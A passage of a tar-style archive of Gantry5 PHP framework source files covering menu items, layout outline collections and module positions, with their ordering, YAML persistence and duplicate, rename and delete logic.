            $config = $this->config();
            $ordering = $config['ordering'] ?
$config['ordering'] : [];
        }

        if (!isset($this->items[$path]) ||
!$this->items[$path]->hasChildren()) {
            return;
        }

        if ($map === null) {
            $map = $this->pathMap ? $this->pathMap->toArray() :
[];
        }

        $order = [];
        $newMap = [];
        $item = $this->items[$path];
        if ($this->isAssoc($ordering)) {
            foreach ($ordering as $key => $value) {
                if ($map) {
                    $newMap = isset($map[$key]['children']) ?
$map[$key]['children'] : [];
                    $key = isset($map[$key]['path']) ?
basename($map[$key]['path']) : $key;
                    $order[$key] = $value;
                }

                if (is_array($value)) {
                    $this->sortAll($value, $path ? $path . '/'
. $key : $key, $newMap);
                }
            }

            $item->sortChildren($order ?: $ordering);
        } else {
            foreach ($ordering as $i => $group) {
                foreach ($group as $key => $value) {
                    if ($map) {
                        $newMap = isset($map[$key]['children']) ?
$map[$key]['children'] : [];
                        $key = isset($map[$key]['path']) ?
basename($map[$key]['path']) : $key;
                        $order[$i][$key] = $value;
                    }

                    if (is_array($value)) {
                        $this->sortAll($value, $path ? $path .
'/' . $key : $key, $newMap);
                    }
                }
            }

            $item->groupChildren($order ?: $ordering);
        }

    }

    protected function isAssoc(array $array)
    {
        return (array_values($array) !== $array);
    }
}
Gantry/Component/Menu/Item.php000064400000023274151157471010012277
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Menu;

use RocketTheme\Toolbox\ArrayTraits\ArrayAccessWithGetters;
use RocketTheme\Toolbox\ArrayTraits\Export;

/**
 * @property string $id
 * @property string $type
 * @property string $path
 * @property string $alias
 * @property string $title
 * @property string $link
 * @property string $parent_id
 * @property string $layout
 * @property int $browserNav
 * @property bool $menu_text
 * @property bool $visible
 * @property int $group
 * @property int $level
 */
class Item implements \ArrayAccess, \Iterator, \Serializable, \Countable
{
    use ArrayAccessWithGetters, Export;

    const VERSION = 1;

    protected $items;
    protected $menu;
    protected $groups = [];
    protected $children = [];
    protected $url;

    protected static $defaults = [
        'id' => 0,
        'type' => 'link',
        'path' => null,
        'alias' => null,
        'title' => null,
        'link' => null,
        'parent_id' => null,
        'layout' => 'list',
        'target' => '_self',
        'dropdown' => '',
        'icon' => '',
        'image' => '',
        'subtitle' => '',
        'hash' => '',
        'class' => '',
        'icon_only' => false,
        'enabled' => true,
        'visible' => true,
        'group' => 0,
        'columns' => [],
        'level' => 0,
        'link_title' => '',
        'anchor_class' => ''
    ];

    public function __construct(AbstractMenu $menu, $name, array $item =
[])
    {
        $this->menu = $menu;

        $tree = explode('/', $name);
        $alias = array_pop($tree);
        $parent = implode('/', $tree);

        // As we always calculate parent (it can change), prevent old one
from being inserted.
        unset($item['parent_id']);

        $this->items = $item + [
            'id' => preg_replace('|[^a-z0-9]|i',
'-', $name) ?: 'root',
            'path' => $name,
            'alias' => $alias,
            'title' => ucfirst($alias),
            'link' => $name,
            'parent_id' => $parent != '.' ? $parent
: '',
        ] + static::$defaults;
    }

    public function getDropdown()
    {
        if (!$this->items['dropdown']) {
            return count($this->groups()) > 1 ? 'fullwidth'
: 'standard';
        }

        return $this->items['dropdown'];
    }

    public function serialize()
    {
        // FIXME: need to create collection class to gather the sibling
data.
        return serialize([
            'version' => static::VERSION,
            'items' => $this->items,
            'groups' => $this->groups,
            'children' => $this->children,
            'url' => $this->url
        ]);
    }

    public function unserialize($serialized)
    {
        // FIXME: need to create collection class to gather the sibling
data.
        $data = unserialize($serialized);

        if (!isset($data['version']) &&
$data['version'] === static::VERSION) {
            throw new \UnexpectedValueException('Serialized data is
not valid');
        }

        $this->items = $data['items'];
        $this->groups =  $data['groups'];
        $this->children = $data['children'];
        $this->url = $data['url'];
    }

    /**
     * @param  string|null|bool $url
     * @return string
     */
    public function url($url = false)
    {
        if ($url !== false) {
            $this->url = $url;
        }
        return $this->url;
    }

    /**
     * @return AbstractMenu
     * @deprecated Need to break relationship to the menu and use a
collection instead.
     */
    protected function menu()
    {
        return $this->menu;
    }

    /**
     * @return Item
     */
    public function parent()
    {
        return $this->menu()[$this->items['parent_id']];
    }

    public function columnWidth($column)
    {
        if (isset($this->items['columns'][$column])) {
            return $this->items['columns'][$column];
        }

        return 100 / count($this->groups());
    }

    public function groups()
    {
        if ($this->groups) {
            $list = [];
            foreach ($this->groups as $i => $group) {
                $list[$i] = [];
                foreach ($group as $path) {
                    $list[$i][] = $this->menu()[$path];
                }
            }
            return $list;
        }
        return [$this->children()];
    }

    public function children()
    {
        $list = [];
        foreach ($this as $child) {
            $list[] = $child;
        }
        return $list;
    }

    public function hasChildren()
    {
        return !empty($this->children);
    }

    public function getGroup($i)
    {
        $groups = $this->groups();
        $i = (int) $i;

        return isset($groups[$i]) ? $groups[$i] : [];
    }

    public function update(array $data)
    {
        $this->items = array_replace($this->items, $data);

        return $this;
    }

    public function addChild(Item $child)
    {
        $child->level = $this->level + 1;
        $child->parent_id = $this->path;
        $this->children[$child->alias] = $child->path;

        return $this;
    }

    public function removeChild(Item $child)
    {
        unset($this->children[$child->alias]);

        return $this;
    }

    public function sortChildren($ordering)
    {
        // Array with keys that point to the items.
        $children =& $this->children;

        if ($children) {
            if (is_array($ordering)) {
                // Remove extra items from ordering and reorder.
                $children = array_replace(array_intersect_key($ordering,
$children), $children);
            } else {
                switch ((string) $ordering) {
                    case 'abc':
                        // Alphabetical ordering.
                        ksort($children, SORT_NATURAL);
                        break;
                    case 'cba':
                        // Reversed alphabetical ordering.
                        krsort($children, SORT_NATURAL);
                        break;
                }
            }
        }

        return $this;
    }


    public function reverse()
    {
        array_reverse($this->children, true);
        array_reverse($this->groups, true);

        return $this;
    }

    public function groupChildren(array $groups)
    {
        // Array with keys that point to the items.
        $children =& $this->children;

        if ($children) {
            $menu = $this->menu();
            $ordered = [];

            // Create empty groups.
            $this->groups = array_fill(0, max(1,
count($this->items['columns'])), []);

            foreach ($groups as $i => $ordering) {
                if (!is_array($ordering)) {
                    continue;
                }

                // Get the items for this group with proper ordering.
                $group = array_replace(
                    array_intersect_key($ordering, $children),
array_intersect_key($children, $ordering)
                );

                // Assign each menu items to the group.
                $group = array_map(
                    function($value) use ($i, $menu) {
                        $item = $menu[$value];
                        $item->group = $i;
                        return $value;
                    },
                    $group
                );

                // Update remaining children.
                $children = array_diff_key($children, $ordering);

                // Build child ordering.
                $ordered += $group;

                // Add items to the current group.
                $this->groups[$i] = $group;
            }

            if ($children) {
                // Add leftover children to the ordered list and to the
first group.
                $ordered += $children;
                $this->groups[0] += $children;
            }

            // Reorder children by their groups.
            $children = $ordered;
        }

        return $this;
    }

    // Implements \Iterator

    /**
     * Returns the current child.
     *
     * @return Item
     */
    public function current()
    {
        return $this->menu()[current($this->children)];
    }

    /**
     * Returns the key of the current child.
     *
     * @return mixed  Returns scalar on success, or NULL on failure.
     */
    public function key()
    {
        return key($this->children);
    }

    /**
     * Moves the current position to the next child.
     *
     * @return void
     */
    public function next()
    {
        next($this->children);
    }

    /**
     * Rewinds back to the first child.
     *
     * @return void
     */
    public function rewind()
    {
        reset($this->children);
    }

    /**
     * Count number of children.
     *
     * @return int
     */
    public function count()
    {
        return count($this->children);
    }

    /**
     * This method is called after Iterator::rewind() and Iterator::next()
to check if the current position is valid.
     *
     * @return bool  Returns TRUE on success or FALSE on failure.
     */
    public function valid()
    {
        return key($this->children) !== null;
    }

    /**
     * Convert object into an array.
     *
     * @return array
     */
    public function toArray($withDefaults = true)
    {
        $items = $this->items;

        if (!$withDefaults) {
            foreach (static::$defaults as $key => $value) {
                if ($items[$key] === $value) {
                    unset($items[$key]);
                }
            }
        }

        return $items;
    }
}
Gantry/Component/Outline/OutlineCollection.php000064400000046107151157471010015547
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Outline;

use FilesystemIterator;
use Gantry\Component\Collection\Collection;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Layout\Layout;
use Gantry\Framework\Atoms;
use RocketTheme\Toolbox\DI\Container;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceIterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class OutlineCollection extends Collection
{
    /**
     * @var Container
     */
    protected $container;

    /**
     * @var string
     */
    protected $path;

    /**
     * @param Container $container
     * @param array $items
     */
    public function __construct(Container $container, $items = [])
    {
        $this->container = $container;
        $this->items = $items;
    }

    /**
     * @param string $id
     * @return string|null
     */
    public function name($id)
    {
        return isset($this->items[$id]) ? $this->items[$id] : null;
    }

    /**
     * @param string $id
     * @return string
     */
    public function title($id)
    {
        return isset($this->items[$id]) ? $this->items[$id] : $id;
    }


    public function all()
    {
        return $this;
    }

    public function system()
    {
        foreach ($this->items as $key => $item) {
            if (substr($key, 0, 1) !== '_') {
                unset($this->items[$key]);
            }
        }

        return $this;
    }

    public function user()
    {
        foreach ($this->items as $key => $item) {
            if (substr($key, 0, 1) === '_' || $key ==
'default') {
                unset($this->items[$key]);
            }
        }

        return $this;
    }

    public function filter(array $include = null)
    {
        if ($include !== null) {
            foreach ($this->items as $key => $item) {
                if (!in_array($key, $include)) {
                    unset($this->items[$key]);
                }
            }
        }

        return $this;
    }

    /**
     * Returns list of all positions defined in all outlines.
     *
     * @return array
     */
    public function positions()
    {
        $list = [];
        foreach ($this->items as $name => $title) {
            try {
                $index = Layout::index($name);

                $list += $index['positions'];
            } catch (\Exception $e) {
                // Layout cannot be read. We will just skip it instead of
throwing an exception.
            }
        }

        return $list;
    }

    /**
     * @param string $section
     * @param bool $includeInherited
     * @return array
     */
    public function getOutlinesWithSection($section, $includeInherited =
true)
    {
        $list = [];
        foreach ($this->items as $name => $title) {
            try {
                $index = Layout::index($name);
            } catch (\Exception $e) {
                // Layout cannot be read. We will just skip it instead of
throwing an exception.
                continue;
            }

            if (isset($index['sections'][$section])) {
                if (!$includeInherited) {
                    foreach ($index['inherit'] as $outline =>
$items) {
                        if (is_array($items) && in_array($section,
$items)) {
                            continue 2;
                        }
                    }
                }
                $list[$name] = $title;
            }
        }

        return $list;
    }

    /**
     * @param string $particle
     * @param bool $includeInherited
     * @return array
     */
    public function getOutlinesWithParticle($particle, $includeInherited =
true)
    {
        $list = [];
        foreach ($this->items as $name => $title) {
            try {
                $index = Layout::index($name);
            } catch (\Exception $e) {
                // Layout cannot be read. We will just skip it instead of
throwing an exception.
                continue;
            }

            if (isset($index['particles'][$particle])) {
                $ids = $index['particles'][$particle];
                if (!$includeInherited &&
!empty($index['inherit'])) {
                    foreach ($index['inherit'] as $items) {
                        foreach ((array) $items as $id => $inheritId) {
                            unset($ids[$id]);
                        }
                    }
                }
                if ($ids) {
                    $list[$name] = $title;
                }
            }
        }

        return $list;
    }

    /**
     * @param string $type
     * @param bool $includeInherited
     * @return array
     */
    public function getOutlinesWithAtom($type, $includeInherited = true)
    {
        $list = [];

        foreach ($this->items as $name => $title) {
            $file =
CompiledYamlFile::instance("gantry-theme://config/{$name}/page/head.yaml");
            $index = $file->content();
            $file->free();
            if (isset($index['atoms'])) {
                foreach ($index['atoms'] as $atom) {
                    if (!empty($atom['id']) &&
$atom['type'] === $type && ($includeInherited ||
empty($atom['inherit']))) {
                        $list[$name] = $title;
                    }
                }
            }
        }

        return $list;
    }

    /**
     * @param string $particle
     * @param bool $includeInherited
     * @return array
     */
    public function getAllParticleInstances($particle, $includeInherited =
true)
    {
        $list = [];
        foreach ($this->items as $name => $title) {
            $list += $this->getParticleInstances($name, $particle,
$includeInherited);
        }

        return $list;
    }

    /**
     * @param string $outline
     * @param string $particle
     * @param bool $includeInherited
     * @return array
     */
    public function getParticleInstances($outline, $particle,
$includeInherited = true)
    {
        $list = [];
        $index = Layout::index($outline);
        if (isset($index['particles'][$particle])) {
            $list = $index['particles'][$particle];
            if (!$includeInherited &&
!empty($index['inherit'])) {
                foreach ($index['inherit'] as $items) {
                    foreach ((array) $items as $id => $inheritId) {
                        unset($list[$id]);
                    }
                }
            }
        }

        $layout = Layout::instance($outline);

        foreach ($list as $id => $title) {
            $item = clone $layout->find($id);
            $block = $layout->block($id);
            $item->block = isset($block->attributes) ?
$block->attributes : new \stdClass();
            $list[$id] = $item;
        }

        return $list;
    }


    /**
     * @param string $outline
     * @param string $type
     * @param bool $includeInherited
     * @return array
     */
    public function getAtomInstances($outline, $type, $includeInherited =
true)
    {
        $list = [];

        $file =
CompiledYamlFile::instance("gantry-theme://config/{$outline}/page/head.yaml");
        $head = $file->content();
        $file->free();
        if (isset($head['atoms'])) {
            foreach ($head['atoms'] as $atom) {
                if (!empty($atom['id']) &&
$atom['type'] === $type && ($includeInherited ||
empty($atom['inherit']['outline']))) {
                    $list[$atom['id']] = (object) $atom;
                }
            }
        }

        return $list;
    }

    /**
     * Return list of outlines which are inheriting the specified atom.
     *
     * @param string $outline
     * @param string $id
     * @return array
     */
    public function getInheritingOutlinesWithAtom($outline, $id = null)
    {
        $list = [];
        foreach ($this->items as $name => $title) {
            $file =
CompiledYamlFile::instance("gantry-theme://config/{$name}/page/head.yaml");
            $head = $file->content();
            $file->free();

            if (isset($head['atoms'])) {
                foreach ($head['atoms'] as $atom) {
                    if
(!empty($atom['inherit']['outline']) &&
$atom['inherit']['outline'] == $outline &&
(!$id || $atom['inherit']['atom'] == $id)) {
                        $list[$name] = $title;
                    }
                }
            }
        }

        return $list;
    }

    /**
     * Return list of outlines which are inheriting the specified outline.
     *
     * You can additionally pass section or particle id to filter the
results for only that type.
     *
     * @param string $outline
     * @param string|array $id
     * @return array
     */
    public function getInheritingOutlines($outline, $id = null)
    {
        $list = [];
        foreach ($this->items as $name => $title) {
            try {
                $index = Layout::index($name);
            } catch (\Exception $e) {
                // Layout cannot be read. We will just skip it instead of
throwing an exception.
                continue;
            }

            if (!empty($index['inherit'][$outline]) &&
(!$id || array_intersect((array) $id,
$index['inherit'][$outline]))) {
                $list[$name] = $title;
            }
        }

        return $list;
    }

    /**
     * Return list of outlines inherited by the specified outline.
     *
     * You can additionally pass section or particle id to filter the
results for only that type.
     *
     * @param string $outline
     * @param string $id
     * @return array
     */
    public function getInheritedOutlines($outline, $id = null)
    {
        try {
            $index = Layout::index($outline);
        } catch (\Exception $e) {
            // Layout cannot be read. We will just return nothing instead
of throwing an exception.
            return [];
        }

        $list = [];
        foreach ($index['inherit'] as $name => $inherited) {
            if (!$id || array_intersect_key((array) $id, $inherited[$id]))
{
                $list[$name] = isset($this->items[$name]) ?
$this->items[$name] : $name;
            }
        }

        return $list;
    }

    /**
     * @param int|string $id
     * @return int|string
     */
    public function preset($id)
    {
        return $id;
    }

    /**
     * @param int|string $id
     * @return Layout
     */
    public function layout($id)
    {
        return Layout::load($id);
    }

    /**
     * @param int|string $id
     * @return array
     */
    public function layoutPreset($id)
    {
        $layout = Layout::load($id);
        $preset = $layout->preset;

        unset($layout);

        return $preset;
    }

    /**
     * @param string $path
     * @return $this
     * @throws \RuntimeException
     */
    public function load($path = 'gantry-config://')
    {
        $this->path = $path;

        $iterator = $this->getFilesystemIterator($path);

        $files = [];
        /** @var FilesystemIterator $info */
        foreach ($iterator as $name => $info) {
            if (!$info->isDir() || $name[0] == '.' ||
!is_file($info->getPathname() . '/index.yaml')) {
                continue;
            }
            $files[$name] = ucwords(trim(preg_replace(['|_|',
'|/|'], [' ', ' / '], $name)));
        }

        unset($files['default']);
        unset($files['menu']);

        asort($files);

        $this->items = $this->addDefaults($files);

        return $this;
    }

    /**
     * @param string|null $id
     * @param string $title
     * @param string|array $preset
     * @return string
     * @throws \RuntimeException
     */
    public function create($id, $title = null, $preset = null)
    {
        $title = $title ?: 'Untitled';
        $name = ltrim(strtolower(preg_replace('|[^a-z\d_-]|ui',
'_', $id ?: $title)), '_');

        if (!$name) {
            throw new \RuntimeException("Outline needs a name",
400);
        }

        if ($name === 'default') {
            throw new \RuntimeException("Outline cannot use reserved
name '{$name}'", 400);
        }

        $name = $this->findFreeName($name);
        if (!$id) {
            $title = ucwords(trim(preg_replace(['|_|',
'|/|'], [' ', ' / '], $name)));
        }

        if (!is_array($preset)) {
            // Load preset.
            $preset = Layout::preset($preset ?: 'default');
        }

        // Create layout and index for the new layout.
        $layout = new Layout($name, $preset);
        $layout->save()->saveIndex();

        $this->items[$name] = $title;

        return $name;
    }

    /**
     * @param string $id
     * @param string $title
     * @param bool $inherit
     * @return string
     * @throws \RuntimeException
     */
    public function duplicate($id, $title = null, $inherit = false)
    {
        if (!$this->canDuplicate($id)) {
            throw new \RuntimeException("Outline '$id'
cannot be duplicated", 400);
        }

        $layout = Layout::load($id);
        if ($inherit) {
            $layout->inheritAll()->clean();
        }

        $new = $this->create(null, $title, $layout->toArray() +
['preset' => $layout->preset]);

        if ($id === 'default') {
            // For Base Outline we're done.
            return $new;
        }

        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];

        $path =
$locator->findResource("{$this->path}/{$id}");
        if (!$path) {
            // Nothing to copy.
            return $new;
        }

        $newPath =
$locator->findResource("{$this->path}/{$new}", true, true);

        try {
            // Copy everything over except index, layout and assignments.
            Folder::copy($path, $newPath,
'/^(index|layout|assignments)\..*$/');
        } catch (\Exception $e) {
            throw new \RuntimeException(sprintf('Duplicating Outline
failed: ', $e->getMessage()), 500, $e);
        }

        return $new;
    }

    /**
     * @param string $id
     * @param string $title
     * @return string
     * @throws \RuntimeException
     */
    public function rename($id, $title)
    {
        if (!$this->canDelete($id)) {
            throw new \RuntimeException("Outline '$id'
cannot be renamed", 400);
        }

        $gantry = $this->container;

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $path =
$locator->findResource("{$this->path}/{$id}", true, true);
        if (!$path || !is_dir($path)) {
            throw new \RuntimeException('Outline not found',
404);
        }

        $folder = strtolower(preg_replace('|[^a-z\d_-]|ui',
'_', $title));

        if ($folder === 'default' || $folder[0] ===
'_') {
            throw new \RuntimeException("Outline cannot use reserved
name '{$folder}'", 400);
        }

        $newPath =
$locator->findResource("{$this->path}/{$folder}", true,
true);
        if (is_dir($newPath)) {
            throw new \RuntimeException("Outline '$id'
already exists.", 400);
        }

        try {
            foreach ($this->getInheritingOutlines($id) as $outline =>
$title) {
                $this->layout($outline)->updateInheritance($id,
$folder)->save()->saveIndex();
            }
            foreach ($this->getInheritingOutlinesWithAtom($id) as
$outline => $title) {
                Atoms::instance($outline)->updateInheritance($id,
$folder)->save();
            }

            Folder::move($path, $newPath);

        } catch (\Exception $e) {
            throw new \RuntimeException(sprintf('Renaming Outline
failed: %s', $e->getMessage()), 500, $e);
        }

        $this->items[$id] = $title;

        return $folder;
    }

    /**
     * @param string $id
     * @throws \RuntimeException
     */
    public function delete($id)
    {
        if (!$this->canDelete($id)) {
            throw new \RuntimeException("Outline '$id'
cannot be deleted", 400);
        }

        $gantry = $this->container;

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];
        $path =
$locator->findResource("{$this->path}/{$id}", true, true);
        if (!is_dir($path)) {
            throw new \RuntimeException('Outline not found',
404);
        }

        foreach ($this->getInheritingOutlines($id) as $outline =>
$title) {
           
$this->layout($outline)->updateInheritance($id)->save()->saveIndex();
        }
        foreach ($this->getInheritingOutlinesWithAtom($id) as $outline
=> $title) {
           
Atoms::instance($outline)->updateInheritance($id)->save();
        }

        if (file_exists($path)) {
            Folder::delete($path);
        }

        unset($this->items[$id]);
    }

    /**
     * @param string $id
     * @return boolean
     */
    public function canDuplicate($id)
    {
        if (!isset($this->items[$id])) {
            return false;
        }

        return true;
    }

    /**
     * @param string $id
     * @return boolean
     */
    public function canDelete($id)
    {
        if (!$id || $id[0] === '_' || $id ===
'default') {
            return false;
        }

        return true;
    }

    /**
     * @param string $id
     * @return boolean
     */
    public function isDefault($id)
    {
        return $id === 'default';
    }

    /**
     * @param array $outlines
     * @return array
     */
    protected function addDefaults(array $outlines)
    {
        return [
            'default' => 'Base Outline',
            '_body_only' => 'Body Only',
            '_error' => 'Error',
            '_offline' => 'Offline'
        ] + $outlines;
    }

    /**
     * Find unused name with number appended to it when duplicating an
outline.
     *
     * @param string $id
     * @return string
     */
    protected function findFreeName($id)
    {
        if (!isset($this->items[$id])) {
            return $id;
        }

        $name = $id;
        $count = 0;
        if (preg_match('|^(?:_)?(.*?)(?:_(\d+))?$|ui', $id,
$matches)) {
            $matches += ['', '', ''];
            list (, $name, $count) = $matches;
        }

        $count = max(1, $count);

        do {
            $count++;
        } while (isset($this->items["{$name}_{$count}"]));

        return "{$name}_{$count}";
    }

    protected function getFilesystemIterator($path)
    {
        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];

        $custom = $locator->findResource($path, true, true);
        if (is_dir($custom)) {
            /** @var FilesystemIterator $iterator */
            $iterator = new FilesystemIterator(
                $custom,
                FilesystemIterator::CURRENT_AS_SELF |
FilesystemIterator::KEY_AS_FILENAME |
                FilesystemIterator::UNIX_PATHS |
FilesystemIterator::SKIP_DOTS
            );
        } else {
            /** @var UniformResourceIterator $iterator */
            $iterator = $locator->getIterator(
                $path,
                UniformResourceIterator::CURRENT_AS_SELF |
UniformResourceIterator::KEY_AS_FILENAME |
                UniformResourceIterator::UNIX_PATHS |
UniformResourceIterator::SKIP_DOTS
            );
        }

        return $iterator;
    }
}
Gantry/Component/Position/Module.php000064400000010215151157471010013515
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Position;

use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccessWithGetters;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Module implements \ArrayAccess
{
    use NestedArrayAccessWithGetters, Export;

    public $name;
    public $position;
    public $assigned;
    protected $items;

    /**
     * Module constructor.
     *
     * @param string $name
     * @param string $position
     * @param array $data
     */
    public function __construct($name, $position = null, array $data =
null)
    {
        $this->name = $name;
        $this->position = $position;

        if ($data) {
            $this->init($data);
        } else {
            $this->load();
        }
    }

    public function update(array $data)
    {
        $this->init($data);

        return $this;
    }

    /**
     * Save module.
     *
     * @param string $position
     * @param string $name
     * @return $this
     */
    public function save($name = null, $position = null)
    {
        $this->name = $name ?: $this->name;
        $this->position = $position ?: $this->position;

        $items = $this->toArray();
        unset($items['position'], $items['id']);

        $file = $this->file(true);
        $file->save($items);

        return $this;
    }

    /**
     * Delete module.
     *
     * @return $this
     */
    public function delete()
    {
        $file = $this->file(true);
        if ($file->exists()) {
            $file->delete();
        }

        return $this;
    }

    /**
     * Return true if module exists.
     *
     * @return bool
     */
    public function exists()
    {
        return $this->name ? $this->file()->exists() : false;
    }

    public function toArray()
    {
        return  ['position' => $this->position,
'id' => $this->name] + $this->items;
    }

    protected function load()
    {
        $file = $this->file();
        $this->init($file->content());
        $file->free();
    }

    protected function init($data)
    {
        unset($data['id'], $data['position']);

        $this->items = $data;

        if (isset($this->items['assignments'])) {
            $assignments = $this->items['assignments'];
            if (is_array($assignments)) {
                $this->assigned = 'some';
            } elseif ($assignments !== 'all') {
                $this->assigned = 'none';
            } else {
                $this->assigned = 'all';
            }
        } else {
            $this->assigned = 'all';
        }
    }

    protected function file($save = false)
    {
        $position = $this->position ?: '_unassigned_';

        $this->name = $this->name ?: ($save ?
$this->findFreeName() : null);
        $name = $this->name ?: '_untitled_';

        /** @var UniformResourceLocator $locator */
        $locator = Gantry::instance()['locator'];

        return
CompiledYamlFile::instance($locator->findResource("gantry-positions://{$position}/{$name}.yaml",
true, $save));
    }

    /**
     * Find unused name with number appended.
     */
    protected function findFreeName()
    {
        $position = $this->position ?: '_unassigned_';
        $name = $this->get('type');
        $name = $name == 'particle' ?
$this->get('options.type') : $name;

        /** @var UniformResourceLocator $locator */
        $locator = Gantry::instance()['locator'];

        if
(!file_exists($locator->findResource("gantry-positions://{$position}/{$name}.yaml",
true, true))) {
            return $name;
        }

        $count = 1;

        do {
            $count++;
        } while
(file_exists($locator->findResource("gantry-positions://{$position}/{$name}_{$count}.yaml",
true, true)));

        return "{$name}_{$count}";
    }
}
Gantry/Component/Position/Position.php000064400000021451151157471010014100
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Position;

use Gantry\Component\Collection\Collection;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Folder;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use Symfony\Component\Yaml\Yaml;

class Position extends Collection
{
    public $name;
    public $title;
    protected $modules = [];

    /**
     * Position constructor.
     *
     * @param string $name
     * @param array $items
     */
    public function __construct($name, array $items = null)
    {
        $this->name = $name;

        $this->load($items);
    }

    /**
     * Save position.
     *
     * @return $this
     */
    public function save()
    {
        $file = $this->file(true);
        $file->save($this->toArray());

        return $this;
    }

    /**
     * Clone position together with its modules. Returns new position.
     *
     * @param string $name
     * @return Position
     */
    public function duplicate($name)
    {
        $new = clone $this;
        $new->name = $name;
        $new->save();

        foreach ($this as $module) {
            $clone = clone $module;
            $clone->position = $name;
            $clone->save();
        }

        return $new;
    }

    /**
     * Raname module key
     *
     * @param string $name
     * @return static
     */
    public function rename($name)
    {
        $new = $this->duplicate($name);
        $this->delete();

        return $new;
    }

    /**
     * Delete position.
     *
     * @return $this
     */
    public function delete()
    {
        $file = $this->file(true);
        if ($file->exists()) {
            $file->delete();
        }

        $folder = $this->folder(true);
        if (is_dir($folder)) {
            Folder::delete($folder);
        }

        return $this;
    }

    /**
     * Update modules in the position.
     *
     * @param array $items
     * @return $this
     */
    public function update(array $items)
    {
        $list = [];
        foreach ($items as $item) {
            $name = ($item instanceof Module) ? $item->name : $item;

            $list[] = $name;
            if (!in_array($name, $this->items)) {
                $this->add($item);
            }
        }

        $remove = array_diff($this->items, $list);
        foreach ($remove as $item) {
            $module = $this->get($item);
            if ($module->position === $this->name) {
                $module->delete();
            }
        }

        $this->items = $list;

        return $this;
    }
    
    /**
     * @param Module|string $item
     * @param string        $name  Temporary name for the module.
     * @return $this
     */
    public function add($item, $name = null)
    {
        if ($item instanceof Module) {
            $this->modules[$name ?: $item->name] = $item;
            $item = $name ?: $item->name;
        }

        $this->items[] = $item;

        return $this;
    }

    public function remove($item)
    {
        if ($item instanceof Module) {
            $item = $item->name;
        }

        unset($this->modules[$item]);

        $this->items = array_diff($this->items, $item);

        return $this;
    }

    /**
     * @param $name
     * @return Module
     */
    public function get($name)
    {
        if (!isset($this->modules[$name])) {
            $this->modules[$name] = $this->loadModule($name);
        }

        return $this->modules[$name];
    }

    /**
     * Returns the value at specified offset.
     *
     * @param string $offset  The offset to retrieve.
     * @return Module
     */
    public function offsetGet($offset)
    {
        if (!isset($this->items[$offset])) {
            return null;
        }

        $name = $this->items[$offset];

        if (!isset($this->modules[$name])) {
            $this->modules[$name] = $this->loadModule($name);
        }

        return $this->modules[$name];
    }

    /**
     * Assigns a value to the specified offset.
     *
     * @param mixed $offset  The offset to assign the value to.
     * @param mixed $value   The value to set.
     */
    public function offsetSet($offset, $value)
    {
        if (!$value instanceof Position) {
            throw new \InvalidArgumentException('Value has to be
instance of Position');
        }
        if (is_null($offset)) {
            $this->items[] = $value->name;
            $this->modules[$value->name] = $value;
        } else {
            $this->items[$offset] = $value->name;
            $this->modules[$value->name] = $value;
        }
    }

    /**
     * Unsets an offset.
     *
     * @param mixed $offset  The offset to unset.
     */
    public function offsetUnset($offset)
    {
        parent::offsetUnset($offset);

        if (!isset($this->items[$offset])) {
            return;
        }

        $name = $this->items[$offset];
        if (isset($this->modules[$name])) {
            unset($this->modules[$name]);
        }
    }

    /**
     * @return \ArrayIterator
     */
    public function getIterator()
    {
        $items = [];
        foreach ($this->items as $key => $name) {
            $items[] = $this->offsetGet($key);
        }

        return new \ArrayIterator($items);
    }

    /**
     * @return array
     */
    public function toArray($includeModules = false)
    {
        $array = [
            'name' => $this->name,
            'title' => $this->title,
        ];

        if (!$includeModules) {
            $array['ordering'] = $this->items;

        } else {
            $list = [];
            foreach ($this->getIterator() as $key => $module) {
                $list[$key] = $module->toArray();
            }
            $array['modules'] = $list;
        }

        return $array;
    }

    /**
     * @param int $inline
     * @param int $indent
     * @param bool $includeModules
     * @return string
     */
    public function toYaml($inline = 3, $indent = 2, $includeModules =
false)
    {
        return Yaml::dump($this->toArray($includeModules), $inline,
$indent, true, false);
    }

    /**
     * @param bool $includeModules
     * @return string
     */
    public function toJson($includeModules = false)
    {
        return json_encode($this->toArray($includeModules));
    }

    /**
     * @return array
     */
